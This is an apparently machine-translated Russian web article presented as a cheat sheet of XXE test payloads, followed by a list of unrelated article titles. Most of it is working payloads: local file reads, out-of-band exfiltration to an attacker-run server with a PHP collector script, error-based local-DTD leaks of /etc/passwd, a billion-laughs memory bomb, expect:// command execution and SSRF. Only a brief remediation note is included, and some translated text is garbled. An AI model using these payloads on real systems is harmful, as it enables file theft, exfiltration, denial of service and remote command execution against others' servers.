xxe Общая тестовая полезная нагрузка
xxe Общая тестовая полезная нагрузка

Префикс: заявление об обнаружении

Язык кода:shell
копировать
<?xml version="1.0"?>
<test>hello</test>

1. Чтение файлов

Язык кода:shell
копировать
<?xml version="1.0"?>  
<!DOCTYPE eleven [  
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<eleven>&xxe;</eleven>


Прочитайте файл php и обнаружите, что прочитанное содержимое пусто и содержимое файла не читается. Причина в том. php Файлы должны быть зашифрованы, прежде чем их можно будет прочитать

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]> 

<eleven>&xxe;</eleven> 

2. Внешние сущности

Язык кода:shell
копировать
<?xml version="1.0"?>  
<!DOCTYPE test [  
<!ENTITY % file SYSTEM "http://your web server address/test.dtd">
        %file;
]> 
<eleven>&send;</eleven>

//test.dtd
<!ENTITY send SYSTEM "file:///c:/windows/win.ini">

3. Чтение файлов без эха

Язык кода:shell
копировать
1. Создайте файл внешнего объекта test.dtd в каталоге синтаксического анализа удаленного сервера.
//test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?file=%file;'>">

2. Создайте файл get.php и поместите его в корневой каталог вашего сервера для получения данных.
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

3. Модификация захвата пакетов BP, тело запроса POST.
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://твойwebАдрес сервера/test.dtd">
%remote;
%all;
]> 
<eleven>&send;</eleven>

4. Нет эха: загрузите локальный DTD.

Если у цели есть брандмауэр или другое оборудование, блокирующее внешние соединения, можно использовать XXE на основе эхо-сигнала ошибки. Самый популярный способ сделать это — загрузить локальный файл DTD.

Язык кода:shell
копировать
<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///Локально для целевой машиныdtdабсолютный путь к файлу">
  <!ENTITY % condition'aaa)>
    <!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25; eval " 
    <!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ENTITY aa (bb'>
  %local_dtd;
]>
<eleven>any text</eleven>




<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
  <!ENTITY % condition'aaa)>
    <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval " 
    <!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    <!ENTITY aa (bb'>
  %local_dtd;
]>
<eleven>any text</eleven>
 

5. Дос-атака

Обычная XML-бомба: когда парсер XML пытается проанализировать файл, из-за экспоненциального расширения определения DTD этот файл размером менее 1 КБ будет занимать 3 ГБ памяти.

Язык кода:shell
копировать
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

6. Выполнение команды [Понимание]

В среде PHP для выполнения XML-команд требуется установка PHP с ожидаемым расширением, но это расширение не установлено по умолчанию, поэтому, вообще говоря, выполнение команд сложно использовать, но оно не исключено.

Код уязвимости следующий:

Язык кода:shell
копировать
<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

payload:

Язык кода:shell
копировать
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<eleven>&xxe;</eleven>

7. Понимание SSRF

Триггерная точка SSRF обычно находится в сущности ENTITY.

paylaod:

Язык кода:shell
копировать
<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY % ssrf SYSTEM "http://ip:port">
    %ssrf;
]>

8. План устранения уязвимости XXE

Уязвимость XXE в конечном итоге заключается во внедрении внешних сущностей при анализе XML-документов, что запрещает загрузку внешних сущностей.

Используйте безопасную библиотеку зависимостей libxml версии 2.9 или выше.

9. Краткое описание уязвимостей XXE

XXE-уязвимости возникают во внешних объектах

Существует 4 основных направления использования: чтение файлов, выполнение команд, DOS-атака, SSRF.

Его можно разделить на две категории в зависимости от того, есть эхо или нет.

Если эхо отсутствует, вы можете загрузить внешние объекты и вернуть данные на наш VPS или загрузить локальные объекты и сообщить об ошибках;

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода